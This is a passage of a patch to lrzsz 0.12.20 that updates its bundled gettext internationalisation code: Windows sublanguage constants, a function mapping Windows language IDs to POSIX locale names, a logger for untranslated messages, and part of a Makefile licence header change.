-+# define SUBLANG_ENGLISH_INDONESIA 0x0e
-+# endif
-+# ifndef SUBLANG_ENGLISH_HONGKONG
-+# define SUBLANG_ENGLISH_HONGKONG 0x0f
-+# endif
-+# ifndef SUBLANG_ENGLISH_INDIA
-+# define SUBLANG_ENGLISH_INDIA 0x10
-+# endif
-+# ifndef SUBLANG_ENGLISH_MALAYSIA
-+# define SUBLANG_ENGLISH_MALAYSIA 0x11
-+# endif
-+# ifndef SUBLANG_ENGLISH_SINGAPORE
-+# define SUBLANG_ENGLISH_SINGAPORE 0x12
-+# endif
-+# ifndef SUBLANG_FRENCH_LUXEMBOURG
-+# define SUBLANG_FRENCH_LUXEMBOURG 0x05
-+# endif
-+# ifndef SUBLANG_FRENCH_MONACO
-+# define SUBLANG_FRENCH_MONACO 0x06
-+# endif
-+# ifndef SUBLANG_FRENCH_WESTINDIES
-+# define SUBLANG_FRENCH_WESTINDIES 0x07
-+# endif
-+# ifndef SUBLANG_FRENCH_REUNION
-+# define SUBLANG_FRENCH_REUNION 0x08
-+# endif
-+# ifndef SUBLANG_FRENCH_CONGO
-+# define SUBLANG_FRENCH_CONGO 0x09
-+# endif
-+# ifndef SUBLANG_FRENCH_SENEGAL
-+# define SUBLANG_FRENCH_SENEGAL 0x0a
-+# endif
-+# ifndef SUBLANG_FRENCH_CAMEROON
-+# define SUBLANG_FRENCH_CAMEROON 0x0b
-+# endif
-+# ifndef SUBLANG_FRENCH_COTEDIVOIRE
-+# define SUBLANG_FRENCH_COTEDIVOIRE 0x0c
-+# endif
-+# ifndef SUBLANG_FRENCH_MALI
-+# define SUBLANG_FRENCH_MALI 0x0d
-+# endif
-+# ifndef SUBLANG_FRENCH_MOROCCO
-+# define SUBLANG_FRENCH_MOROCCO 0x0e
-+# endif
-+# ifndef SUBLANG_FRENCH_HAITI
-+# define SUBLANG_FRENCH_HAITI 0x0f
-+# endif
-+# ifndef SUBLANG_GERMAN_LUXEMBOURG
-+# define SUBLANG_GERMAN_LUXEMBOURG 0x04
-+# endif
-+# ifndef SUBLANG_GERMAN_LIECHTENSTEIN
-+# define SUBLANG_GERMAN_LIECHTENSTEIN 0x05
-+# endif
-+# ifndef SUBLANG_KASHMIRI_INDIA
-+# define SUBLANG_KASHMIRI_INDIA 0x02
-+# endif
-+# ifndef SUBLANG_MALAY_MALAYSIA
-+# define SUBLANG_MALAY_MALAYSIA 0x01
-+# endif
-+# ifndef SUBLANG_MALAY_BRUNEI_DARUSSALAM
-+# define SUBLANG_MALAY_BRUNEI_DARUSSALAM 0x02
-+# endif
-+# ifndef SUBLANG_NEPALI_INDIA
-+# define SUBLANG_NEPALI_INDIA 0x02
-+# endif
-+# ifndef SUBLANG_PUNJABI_INDIA
-+# define SUBLANG_PUNJABI_INDIA 0x00
-+# endif
-+# ifndef SUBLANG_PUNJABI_PAKISTAN
-+# define SUBLANG_PUNJABI_PAKISTAN 0x01
-+# endif
-+# ifndef SUBLANG_ROMANIAN_ROMANIA
-+# define SUBLANG_ROMANIAN_ROMANIA 0x00
-+# endif
-+# ifndef SUBLANG_ROMANIAN_MOLDOVA
-+# define SUBLANG_ROMANIAN_MOLDOVA 0x01
-+# endif
-+# ifndef SUBLANG_SERBIAN_LATIN
-+# define SUBLANG_SERBIAN_LATIN 0x02
-+# endif
-+# ifndef SUBLANG_SERBIAN_CYRILLIC
-+# define SUBLANG_SERBIAN_CYRILLIC 0x03
-+# endif
-+# ifndef SUBLANG_SINDHI_INDIA
-+# define SUBLANG_SINDHI_INDIA 0x00
-+# endif
-+# ifndef SUBLANG_SINDHI_PAKISTAN
-+# define SUBLANG_SINDHI_PAKISTAN 0x01
-+# endif
-+# ifndef SUBLANG_SPANISH_GUATEMALA
-+# define SUBLANG_SPANISH_GUATEMALA 0x04
-+# endif
-+# ifndef SUBLANG_SPANISH_COSTA_RICA
-+# define SUBLANG_SPANISH_COSTA_RICA 0x05
-+# endif
-+# ifndef SUBLANG_SPANISH_PANAMA
-+# define SUBLANG_SPANISH_PANAMA 0x06
-+# endif
-+# ifndef SUBLANG_SPANISH_DOMINICAN_REPUBLIC
-+# define SUBLANG_SPANISH_DOMINICAN_REPUBLIC 0x07
-+# endif
-+# ifndef SUBLANG_SPANISH_VENEZUELA
-+# define SUBLANG_SPANISH_VENEZUELA 0x08
-+# endif
-+# ifndef SUBLANG_SPANISH_COLOMBIA
-+# define SUBLANG_SPANISH_COLOMBIA 0x09
-+# endif
-+# ifndef SUBLANG_SPANISH_PERU
-+# define SUBLANG_SPANISH_PERU 0x0a
-+# endif
-+# ifndef SUBLANG_SPANISH_ARGENTINA
-+# define SUBLANG_SPANISH_ARGENTINA 0x0b
-+# endif
-+# ifndef SUBLANG_SPANISH_ECUADOR
-+# define SUBLANG_SPANISH_ECUADOR 0x0c
-+# endif
-+# ifndef SUBLANG_SPANISH_CHILE
-+# define SUBLANG_SPANISH_CHILE 0x0d
-+# endif
-+# ifndef SUBLANG_SPANISH_URUGUAY
-+# define SUBLANG_SPANISH_URUGUAY 0x0e
-+# endif
-+# ifndef SUBLANG_SPANISH_PARAGUAY
-+# define SUBLANG_SPANISH_PARAGUAY 0x0f
-+# endif
-+# ifndef SUBLANG_SPANISH_BOLIVIA
-+# define SUBLANG_SPANISH_BOLIVIA 0x10
-+# endif
-+# ifndef SUBLANG_SPANISH_EL_SALVADOR
-+# define SUBLANG_SPANISH_EL_SALVADOR 0x11
-+# endif
-+# ifndef SUBLANG_SPANISH_HONDURAS
-+# define SUBLANG_SPANISH_HONDURAS 0x12
-+# endif
-+# ifndef SUBLANG_SPANISH_NICARAGUA
-+# define SUBLANG_SPANISH_NICARAGUA 0x13
-+# endif
-+# ifndef SUBLANG_SPANISH_PUERTO_RICO
-+# define SUBLANG_SPANISH_PUERTO_RICO 0x14
-+# endif
-+# ifndef SUBLANG_SWEDISH_FINLAND
-+# define SUBLANG_SWEDISH_FINLAND 0x02
-+# endif
-+# ifndef SUBLANG_TAMAZIGHT_ARABIC
-+# define SUBLANG_TAMAZIGHT_ARABIC 0x01
-+# endif
-+# ifndef SUBLANG_TAMAZIGHT_LATIN
-+# define SUBLANG_TAMAZIGHT_LATIN 0x02
-+# endif
-+# ifndef SUBLANG_TIGRINYA_ETHIOPIA
-+# define SUBLANG_TIGRINYA_ETHIOPIA 0x00
-+# endif
-+# ifndef SUBLANG_TIGRINYA_ERITREA
-+# define SUBLANG_TIGRINYA_ERITREA 0x01
-+# endif
-+# ifndef SUBLANG_URDU_PAKISTAN
-+# define SUBLANG_URDU_PAKISTAN 0x01
-+# endif
-+# ifndef SUBLANG_URDU_INDIA
-+# define SUBLANG_URDU_INDIA 0x02
-+# endif
-+# ifndef SUBLANG_UZBEK_LATIN
-+# define SUBLANG_UZBEK_LATIN 0x01
-+# endif
-+# ifndef SUBLANG_UZBEK_CYRILLIC
-+# define SUBLANG_UZBEK_CYRILLIC 0x02
-+# endif
-+#endif
-+
-+/* XPG3 defines the result of 'setlocale (category, NULL)' as:
-+ "Directs 'setlocale()' to query 'category' and return the current
-+ setting of 'local'."
-+ However it does not specify the exact format. Neither do SUSV2 and
-+ ISO C 99. So we can use this feature only on selected systems (e.g.
-+ those using GNU C Library). */
-+#if defined _LIBC || (defined __GNU_LIBRARY__ && __GNU_LIBRARY__ >= 2)
-+# define HAVE_LOCALE_NULL
-+#endif
-+
-+/* Determine the current locale's name, and canonicalize it into XPG syntax
-+ language[_territory[.codeset]][@modifier]
-+ The codeset part in the result is not reliable; the locale_charset()
-+ should be used for codeset information instead.
-+ The result must not be freed; it is statically allocated. */
-+
-+const char *
-+_nl_locale_name (int category, const char *categoryname)
-+{
-+ const char *retval;
-+
-+#ifndef WIN32
-+
-+ /* Use the POSIX methods of looking to 'LC_ALL', 'LC_xxx', and 'LANG'.
-+ On some systems this can be done by the 'setlocale' function itself. */
-+# if defined HAVE_SETLOCALE && defined HAVE_LC_MESSAGES && defined HAVE_LOCALE_NULL
-+ retval = setlocale (category, NULL);
-+# else
-+ /* Setting of LC_ALL overwrites all other. */
-+ retval = getenv ("LC_ALL");
-+ if (retval == NULL || retval[0] == '\0')
-+ {
-+ /* Next comes the name of the desired category. */
-+ retval = getenv (categoryname);
-+ if (retval == NULL || retval[0] == '\0')
-+ {
-+ /* Last possibility is the LANG environment variable. */
-+ retval = getenv ("LANG");
-+ if (retval == NULL || retval[0] == '\0')
-+ /* We use C as the default domain. POSIX says this is
-+ implementation defined. */
-+ retval = "C";
-+ }
-+ }
-+# endif
-+
-+ return retval;
-+
-+#else /* WIN32 */
-+
-+ /* Return an XPG style locale name language[_territory][@modifier].
-+ Don't even bother determining the codeset; it's not useful in this
-+ context, because message catalogs are not specific to a single
-+ codeset. */
-+
-+ LCID lcid;
-+ LANGID langid;
-+ int primary, sub;
-+
-+ /* Let the user override the system settings through environment
-+ variables, as on POSIX systems. */
-+ retval = getenv ("LC_ALL");
-+ if (retval != NULL && retval[0] != '\0')
-+ return retval;
-+ retval = getenv (categoryname);
-+ if (retval != NULL && retval[0] != '\0')
-+ return retval;
-+ retval = getenv ("LANG");
-+ if (retval != NULL && retval[0] != '\0')
-+ return retval;
-+
-+ /* Use native Win32 API locale ID. */
-+ lcid = GetThreadLocale ();
-+
-+ /* Strip off the sorting rules, keep only the language part. */
-+ langid = LANGIDFROMLCID (lcid);
-+
-+ /* Split into language and territory part. */
-+ primary = PRIMARYLANGID (langid);
-+ sub = SUBLANGID (langid);
-+
-+ /* Dispatch on language.
-+ See also http://www.unicode.org/unicode/onlinedat/languages.html .
-+ For details about languages, see http://www.ethnologue.com/ . */
-+ switch (primary)
-+ {
-+ case LANG_AFRIKAANS: return "af_ZA";
-+ case LANG_ALBANIAN: return "sq_AL";
-+ case LANG_AMHARIC: return "am_ET";
-+ case LANG_ARABIC:
-+ switch (sub)
-+ {
-+ case SUBLANG_ARABIC_SAUDI_ARABIA: return "ar_SA";
-+ case SUBLANG_ARABIC_IRAQ: return "ar_IQ";
-+ case SUBLANG_ARABIC_EGYPT: return "ar_EG";
-+ case SUBLANG_ARABIC_LIBYA: return "ar_LY";
-+ case SUBLANG_ARABIC_ALGERIA: return "ar_DZ";
-+ case SUBLANG_ARABIC_MOROCCO: return "ar_MA";
-+ case SUBLANG_ARABIC_TUNISIA: return "ar_TN";
-+ case SUBLANG_ARABIC_OMAN: return "ar_OM";
-+ case SUBLANG_ARABIC_YEMEN: return "ar_YE";
-+ case SUBLANG_ARABIC_SYRIA: return "ar_SY";
-+ case SUBLANG_ARABIC_JORDAN: return "ar_JO";
-+ case SUBLANG_ARABIC_LEBANON: return "ar_LB";
-+ case SUBLANG_ARABIC_KUWAIT: return "ar_KW";
-+ case SUBLANG_ARABIC_UAE: return "ar_AE";
-+ case SUBLANG_ARABIC_BAHRAIN: return "ar_BH";
-+ case SUBLANG_ARABIC_QATAR: return "ar_QA";
-+ }
-+ return "ar";
-+ case LANG_ARMENIAN: return "hy_AM";
-+ case LANG_ASSAMESE: return "as_IN";
-+ case LANG_AZERI:
-+ switch (sub)
-+ {
-+ /* FIXME: Adjust this when Azerbaijani locales appear on Unix. */
-+ case SUBLANG_AZERI_LATIN: return "az_AZ@latin";
-+ case SUBLANG_AZERI_CYRILLIC: return "az_AZ@cyrillic";
-+ }
-+ return "az";
-+ case LANG_BASQUE:
-+ return "eu"; /* Ambiguous: could be "eu_ES" or "eu_FR". */
-+ case LANG_BELARUSIAN: return "be_BY";
-+ case LANG_BENGALI:
-+ switch (sub)
-+ {
-+ case SUBLANG_BENGALI_INDIA: return "bn_IN";
-+ case SUBLANG_BENGALI_BANGLADESH: return "bn_BD";
-+ }
-+ return "bn";
-+ case LANG_BULGARIAN: return "bg_BG";
-+ case LANG_BURMESE: return "my_MM";
-+ case LANG_CAMBODIAN: return "km_KH";
-+ case LANG_CATALAN: return "ca_ES";
-+ case LANG_CHEROKEE: return "chr_US";
-+ case LANG_CHINESE:
-+ switch (sub)
-+ {
-+ case SUBLANG_CHINESE_TRADITIONAL: return "zh_TW";
-+ case SUBLANG_CHINESE_SIMPLIFIED: return "zh_CN";
-+ case SUBLANG_CHINESE_HONGKONG: return "zh_HK";
-+ case SUBLANG_CHINESE_SINGAPORE: return "zh_SG";
-+ case SUBLANG_CHINESE_MACAU: return "zh_MO";
-+ }
-+ return "zh";
-+ case LANG_CROATIAN: /* LANG_CROATIAN == LANG_SERBIAN
-+ * What used to be called Serbo-Croatian
-+ * should really now be two separate
-+ * languages because of political reasons.
-+ * (Says tml, who knows nothing about Serbian
-+ * or Croatian.)
-+ * (I can feel those flames coming already.)
-+ */
-+ switch (sub)
-+ {
-+ case SUBLANG_DEFAULT: return "hr_HR";
-+ case SUBLANG_SERBIAN_LATIN: return "sr_CS";
-+ case SUBLANG_SERBIAN_CYRILLIC: return "sr_CS@cyrillic";
-+ }
-+ return "hr";
-+ case LANG_CZECH: return "cs_CZ";
-+ case LANG_DANISH: return "da_DK";
-+ case LANG_DIVEHI: return "dv_MV";
-+ case LANG_DUTCH:
-+ switch (sub)
-+ {
-+ case SUBLANG_DUTCH: return "nl_NL";
-+ case SUBLANG_DUTCH_BELGIAN: /* FLEMISH, VLAAMS */ return "nl_BE";
-+ }
-+ return "nl";
-+ case LANG_EDO: return "bin_NG";
-+ case LANG_ENGLISH:
-+ switch (sub)
-+ {
-+ /* SUBLANG_ENGLISH_US == SUBLANG_DEFAULT. Heh. I thought
-+ * English was the language spoken in England.
-+ * Oh well.
-+ */
-+ case SUBLANG_ENGLISH_US: return "en_US";
-+ case SUBLANG_ENGLISH_UK: return "en_GB";
-+ case SUBLANG_ENGLISH_AUS: return "en_AU";
-+ case SUBLANG_ENGLISH_CAN: return "en_CA";
-+ case SUBLANG_ENGLISH_NZ: return "en_NZ";
-+ case SUBLANG_ENGLISH_EIRE: return "en_IE";
-+ case SUBLANG_ENGLISH_SOUTH_AFRICA: return "en_ZA";
-+ case SUBLANG_ENGLISH_JAMAICA: return "en_JM";
-+ case SUBLANG_ENGLISH_CARIBBEAN: return "en_GD"; /* Grenada? */
-+ case SUBLANG_ENGLISH_BELIZE: return "en_BZ";
-+ case SUBLANG_ENGLISH_TRINIDAD: return "en_TT";
-+ case SUBLANG_ENGLISH_ZIMBABWE: return "en_ZW";
-+ case SUBLANG_ENGLISH_PHILIPPINES: return "en_PH";
-+ case SUBLANG_ENGLISH_INDONESIA: return "en_ID";
-+ case SUBLANG_ENGLISH_HONGKONG: return "en_HK";
-+ case SUBLANG_ENGLISH_INDIA: return "en_IN";
-+ case SUBLANG_ENGLISH_MALAYSIA: return "en_MY";
-+ case SUBLANG_ENGLISH_SINGAPORE: return "en_SG";
-+ }
-+ return "en";
-+ case LANG_ESTONIAN: return "et_EE";
-+ case LANG_FAEROESE: return "fo_FO";
-+ case LANG_FARSI: return "fa_IR";
-+ case LANG_FINNISH: return "fi_FI";
-+ case LANG_FRENCH:
-+ switch (sub)
-+ {
-+ case SUBLANG_FRENCH: return "fr_FR";
-+ case SUBLANG_FRENCH_BELGIAN: /* WALLOON */ return "fr_BE";
-+ case SUBLANG_FRENCH_CANADIAN: return "fr_CA";
-+ case SUBLANG_FRENCH_SWISS: return "fr_CH";
-+ case SUBLANG_FRENCH_LUXEMBOURG: return "fr_LU";
-+ case SUBLANG_FRENCH_MONACO: return "fr_MC";
-+ case SUBLANG_FRENCH_WESTINDIES: return "fr"; /* Caribbean? */
-+ case SUBLANG_FRENCH_REUNION: return "fr_RE";
-+ case SUBLANG_FRENCH_CONGO: return "fr_CG";
-+ case SUBLANG_FRENCH_SENEGAL: return "fr_SN";
-+ case SUBLANG_FRENCH_CAMEROON: return "fr_CM";
-+ case SUBLANG_FRENCH_COTEDIVOIRE: return "fr_CI";
-+ case SUBLANG_FRENCH_MALI: return "fr_ML";
-+ case SUBLANG_FRENCH_MOROCCO: return "fr_MA";
-+ case SUBLANG_FRENCH_HAITI: return "fr_HT";
-+ }
-+ return "fr";
-+ case LANG_FRISIAN: return "fy_NL";
-+ case LANG_FULFULDE:
-+ /* Spoken in Nigeria, Guinea, Senegal, Mali, Niger, Cameroon, Benin. */
-+ return "ff_NG";
-+ case LANG_GAELIC:
-+ switch (sub)
-+ {
-+ case 0x01: /* SCOTTISH */ return "gd_GB";
-+ case 0x02: /* IRISH */ return "ga_IE";
-+ }
-+ return "C";
-+ case LANG_GALICIAN: return "gl_ES";
-+ case LANG_GEORGIAN: return "ka_GE";
-+ case LANG_GERMAN:
-+ switch (sub)
-+ {
-+ case SUBLANG_GERMAN: return "de_DE";
-+ case SUBLANG_GERMAN_SWISS: return "de_CH";
-+ case SUBLANG_GERMAN_AUSTRIAN: return "de_AT";
-+ case SUBLANG_GERMAN_LUXEMBOURG: return "de_LU";
-+ case SUBLANG_GERMAN_LIECHTENSTEIN: return "de_LI";
-+ }
-+ return "de";
-+ case LANG_GREEK: return "el_GR";
-+ case LANG_GUARANI: return "gn_PY";
-+ case LANG_GUJARATI: return "gu_IN";
-+ case LANG_HAUSA: return "ha_NG";
-+ case LANG_HAWAIIAN:
-+ /* FIXME: Do they mean Hawaiian ("haw_US", 1000 speakers)
-+ or Hawaii Creole English ("cpe_US", 600000 speakers)? */
-+ return "cpe_US";
-+ case LANG_HEBREW: return "he_IL";
-+ case LANG_HINDI: return "hi_IN";
-+ case LANG_HUNGARIAN: return "hu_HU";
-+ case LANG_IBIBIO: return "nic_NG";
-+ case LANG_ICELANDIC: return "is_IS";
-+ case LANG_IGBO: return "ig_NG";
-+ case LANG_INDONESIAN: return "id_ID";
-+ case LANG_INUKTITUT: return "iu_CA";
-+ case LANG_ITALIAN:
-+ switch (sub)
-+ {
-+ case SUBLANG_ITALIAN: return "it_IT";
-+ case SUBLANG_ITALIAN_SWISS: return "it_CH";
-+ }
-+ return "it";
-+ case LANG_JAPANESE: return "ja_JP";
-+ case LANG_KANNADA: return "kn_IN";
-+ case LANG_KANURI: return "kr_NG";
-+ case LANG_KASHMIRI:
-+ switch (sub)
-+ {
-+ case SUBLANG_DEFAULT: return "ks_PK";
-+ case SUBLANG_KASHMIRI_INDIA: return "ks_IN";
-+ }
-+ return "ks";
-+ case LANG_KAZAK: return "kk_KZ";
-+ case LANG_KONKANI:
-+ /* FIXME: Adjust this when such locales appear on Unix. */
-+ return "kok_IN";
-+ case LANG_KOREAN: return "ko_KR";
-+ case LANG_KYRGYZ: return "ky_KG";
-+ case LANG_LAO: return "lo_LA";
-+ case LANG_LATIN: return "la_VA";
-+ case LANG_LATVIAN: return "lv_LV";
-+ case LANG_LITHUANIAN: return "lt_LT";
-+ case LANG_MACEDONIAN: return "mk_MK";
-+ case LANG_MALAY:
-+ switch (sub)
-+ {
-+ case SUBLANG_MALAY_MALAYSIA: return "ms_MY";
-+ case SUBLANG_MALAY_BRUNEI_DARUSSALAM: return "ms_BN";
-+ }
-+ return "ms";
-+ case LANG_MALAYALAM: return "ml_IN";
-+ case LANG_MALTESE: return "mt_MT";
-+ case LANG_MANIPURI:
-+ /* FIXME: Adjust this when such locales appear on Unix. */
-+ return "mni_IN";
-+ case LANG_MARATHI: return "mr_IN";
-+ case LANG_MONGOLIAN:
-+ return "mn"; /* Ambiguous: could be "mn_CN" or "mn_MN". */
-+ case LANG_NEPALI:
-+ switch (sub)
-+ {
-+ case SUBLANG_DEFAULT: return "ne_NP";
-+ case SUBLANG_NEPALI_INDIA: return "ne_IN";
-+ }
-+ return "ne";
-+ case LANG_NORWEGIAN:
-+ switch (sub)
-+ {
-+ case SUBLANG_NORWEGIAN_BOKMAL: return "no_NO";
-+ case SUBLANG_NORWEGIAN_NYNORSK: return "nn_NO";
-+ }
-+ return "no";
-+ case LANG_ORIYA: return "or_IN";
-+ case LANG_OROMO: return "om_ET";
-+ case LANG_PAPIAMENTU: return "pap_AN";
-+ case LANG_PASHTO:
-+ return "ps"; /* Ambiguous: could be "ps_PK" or "ps_AF". */
-+ case LANG_POLISH: return "pl_PL";
-+ case LANG_PORTUGUESE:
-+ switch (sub)
-+ {
-+ case SUBLANG_PORTUGUESE: return "pt_PT";
-+ /* Hmm. SUBLANG_PORTUGUESE_BRAZILIAN == SUBLANG_DEFAULT.
-+ Same phenomenon as SUBLANG_ENGLISH_US == SUBLANG_DEFAULT. */
-+ case SUBLANG_PORTUGUESE_BRAZILIAN: return "pt_BR";
-+ }
-+ return "pt";
-+ case LANG_PUNJABI:
-+ switch (sub)
-+ {
-+ case SUBLANG_PUNJABI_INDIA: return "pa_IN"; /* Gurmukhi script */
-+ case SUBLANG_PUNJABI_PAKISTAN: return "pa_PK"; /* Arabic script */
-+ }
-+ return "pa";
-+ case LANG_RHAETO_ROMANCE: return "rm_CH";
-+ case LANG_ROMANIAN:
-+ switch (sub)
-+ {
-+ case SUBLANG_ROMANIAN_ROMANIA: return "ro_RO";
-+ case SUBLANG_ROMANIAN_MOLDOVA: return "ro_MD";
-+ }
-+ return "ro";
-+ case LANG_RUSSIAN:
-+ return "ru"; /* Ambiguous: could be "ru_RU" or "ru_UA" or "ru_MD". */
-+ case LANG_SAAMI: /* actually Northern Sami */ return "se_NO";
-+ case LANG_SANSKRIT: return "sa_IN";
-+ case LANG_SINDHI:
-+ switch (sub)
-+ {
-+ case SUBLANG_SINDHI_INDIA: return "sd_IN";
-+ case SUBLANG_SINDHI_PAKISTAN: return "sd_PK";
-+ }
-+ return "sd";
-+ case LANG_SINHALESE: return "si_LK";
-+ case LANG_SLOVAK: return "sk_SK";
-+ case LANG_SLOVENIAN: return "sl_SI";
-+ case LANG_SOMALI: return "so_SO";
-+ case LANG_SORBIAN:
-+ /* FIXME: Adjust this when such locales appear on Unix. */
-+ return "wen_DE";
-+ case LANG_SPANISH:
-+ switch (sub)
-+ {
-+ case SUBLANG_SPANISH: return "es_ES";
-+ case SUBLANG_SPANISH_MEXICAN: return "es_MX";
-+ case SUBLANG_SPANISH_MODERN:
-+ return "es_ES@modern"; /* not seen on Unix */
-+ case SUBLANG_SPANISH_GUATEMALA: return "es_GT";
-+ case SUBLANG_SPANISH_COSTA_RICA: return "es_CR";
-+ case SUBLANG_SPANISH_PANAMA: return "es_PA";
-+ case SUBLANG_SPANISH_DOMINICAN_REPUBLIC: return "es_DO";
-+ case SUBLANG_SPANISH_VENEZUELA: return "es_VE";
-+ case SUBLANG_SPANISH_COLOMBIA: return "es_CO";
-+ case SUBLANG_SPANISH_PERU: return "es_PE";
-+ case SUBLANG_SPANISH_ARGENTINA: return "es_AR";
-+ case SUBLANG_SPANISH_ECUADOR: return "es_EC";
-+ case SUBLANG_SPANISH_CHILE: return "es_CL";
-+ case SUBLANG_SPANISH_URUGUAY: return "es_UY";
-+ case SUBLANG_SPANISH_PARAGUAY: return "es_PY";
-+ case SUBLANG_SPANISH_BOLIVIA: return "es_BO";
-+ case SUBLANG_SPANISH_EL_SALVADOR: return "es_SV";
-+ case SUBLANG_SPANISH_HONDURAS: return "es_HN";
-+ case SUBLANG_SPANISH_NICARAGUA: return "es_NI";
-+ case SUBLANG_SPANISH_PUERTO_RICO: return "es_PR";
-+ }
-+ return "es";
-+ case LANG_SUTU: return "bnt_TZ"; /* or "st_LS" or "nso_ZA"? */
-+ case LANG_SWAHILI: return "sw_KE";
-+ case LANG_SWEDISH:
-+ switch (sub)
-+ {
-+ case SUBLANG_DEFAULT: return "sv_SE";
-+ case SUBLANG_SWEDISH_FINLAND: return "sv_FI";
-+ }
-+ return "sv";
-+ case LANG_SYRIAC: return "syr_TR"; /* An extinct language. */
-+ case LANG_TAGALOG: return "tl_PH";
-+ case LANG_TAJIK: return "tg_TJ";
-+ case LANG_TAMAZIGHT:
-+ switch (sub)
-+ {
-+ /* FIXME: Adjust this when Tamazight locales appear on Unix. */
-+ case SUBLANG_TAMAZIGHT_ARABIC: return "ber_MA@arabic";
-+ case SUBLANG_TAMAZIGHT_LATIN: return "ber_MA@latin";
-+ }
-+ return "ber_MA";
-+ case LANG_TAMIL:
-+ return "ta"; /* Ambiguous: could be "ta_IN" or "ta_LK" or "ta_SG". */
-+ case LANG_TATAR: return "tt_RU";
-+ case LANG_TELUGU: return "te_IN";
-+ case LANG_THAI: return "th_TH";
-+ case LANG_TIBETAN: return "bo_CN";
-+ case LANG_TIGRINYA:
-+ switch (sub)
-+ {
-+ case SUBLANG_TIGRINYA_ETHIOPIA: return "ti_ET";
-+ case SUBLANG_TIGRINYA_ERITREA: return "ti_ER";
-+ }
-+ return "ti";
-+ case LANG_TSONGA: return "ts_ZA";
-+ case LANG_TSWANA: return "tn_BW";
-+ case LANG_TURKISH: return "tr_TR";
-+ case LANG_TURKMEN: return "tk_TM";
-+ case LANG_UKRAINIAN: return "uk_UA";
-+ case LANG_URDU:
-+ switch (sub)
-+ {
-+ case SUBLANG_URDU_PAKISTAN: return "ur_PK";
-+ case SUBLANG_URDU_INDIA: return "ur_IN";
-+ }
-+ return "ur";
-+ case LANG_UZBEK:
-+ switch (sub)
-+ {
-+ case SUBLANG_UZBEK_LATIN: return "uz_UZ";
-+ case SUBLANG_UZBEK_CYRILLIC: return "uz_UZ@cyrillic";
-+ }
-+ return "uz";
-+ case LANG_VENDA: return "ve_ZA";
-+ case LANG_VIETNAMESE: return "vi_VN";
-+ case LANG_WELSH: return "cy_GB";
-+ case LANG_XHOSA: return "xh_ZA";
-+ case LANG_YI: return "sit_CN";
-+ case LANG_YIDDISH: return "yi_IL";
-+ case LANG_YORUBA: return "yo_NG";
-+ case LANG_ZULU: return "zu_ZA";
-+ default: return "C";
-+ }
-+
-+#endif
-+}
---- lrzsz-0.12.20.safe/intl/log.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/log.c 2004-09-12 14:40:34.515723768 -0400
-@@ -0,0 +1,98 @@
-+/* Log file output.
-+ Copyright (C) 2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Written by Bruno Haible <bruno@clisp.org>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <string.h>
-+
-+/* Print an ASCII string with quotes and escape sequences where needed. */
-+static void
-+print_escaped (FILE *stream, const char *str)
-+{
-+ putc ('"', stream);
-+ for (; *str != '\0'; str++)
-+ if (*str == '\n')
-+ {
-+ fputs ("\\n\"", stream);
-+ if (str[1] == '\0')
-+ return;
-+ fputs ("\n\"", stream);
-+ }
-+ else
-+ {
-+ if (*str == '"' || *str == '\\')
-+ putc ('\\', stream);
-+ putc (*str, stream);
-+ }
-+ putc ('"', stream);
-+}
-+
-+/* Add to the log file an entry denoting a failed translation. */
-+void
-+_nl_log_untranslated (const char *logfilename, const char *domainname,
-+ const char *msgid1, const char *msgid2, int plural)
-+{
-+ static char *last_logfilename = NULL;
-+ static FILE *last_logfile = NULL;
-+ FILE *logfile;
-+
-+ /* Can we reuse the last opened logfile? */
-+ if (last_logfilename == NULL || strcmp (logfilename, last_logfilename) != 0)
-+ {
-+ /* Close the last used logfile. */
-+ if (last_logfilename != NULL)
-+ {
-+ if (last_logfile != NULL)
-+ {
-+ fclose (last_logfile);
-+ last_logfile = NULL;
-+ }
-+ free (last_logfilename);
-+ last_logfilename = NULL;
-+ }
-+ /* Open the logfile. */
-+ last_logfilename = (char *) malloc (strlen (logfilename) + 1);
-+ if (last_logfilename == NULL)
-+ return;
-+ strcpy (last_logfilename, logfilename);
-+ last_logfile = fopen (logfilename, "a");
-+ if (last_logfile == NULL)
-+ return;
-+ }
-+ logfile = last_logfile;
-+
-+ fprintf (logfile, "domain ");
-+ print_escaped (logfile, domainname);
-+ fprintf (logfile, "\nmsgid ");
-+ print_escaped (logfile, msgid1);
-+ if (plural)
-+ {
-+ fprintf (logfile, "\nmsgid_plural ");
-+ print_escaped (logfile, msgid2);
-+ fprintf (logfile, "\nmsgstr[0] \"\"\n");
-+ }
-+ else
-+ fprintf (logfile, "\nmsgstr \"\"\n");
-+ putc ('\n', logfile);
-+}
---- lrzsz-0.12.20.safe/intl/Makefile.in 1998-04-26 09:22:35.000000000 -0400
-+++ lrzsz-0.12.20/intl/Makefile.in 2004-09-12 14:40:34.521722856 -0400
-@@ -1,19 +1,20 @@
--# Makefile for directory with message catalog handling in GNU NLS Utilities.
--# Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-+# Makefile for directory with message catalog handling library of GNU gettext
-+# Copyright (C) 1995-1998, 2000-2003 Free Software Foundation, Inc.
- #
--# This program is free software; you can redistribute it and/or modify
--# it under the terms of the GNU General Public License as published by
--# the Free Software Foundation; either version 2, or (at your option)
-+# This program is free software; you can redistribute it and/or modify it
-+# under the terms of the GNU Library General Public License as published
-+# by the Free Software Foundation; either version 2, or (at your option)
- # any later version.
- #
- # This program is distributed in the hope that it will be useful,
- # but WITHOUT ANY WARRANTY; without even the implied warranty of
--# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--# GNU General Public License for more details.
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# Library General Public License for more details.
- #
--# You should have received a copy of the GNU General Public License
--# along with this program; if not, write to the Free Software
--# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
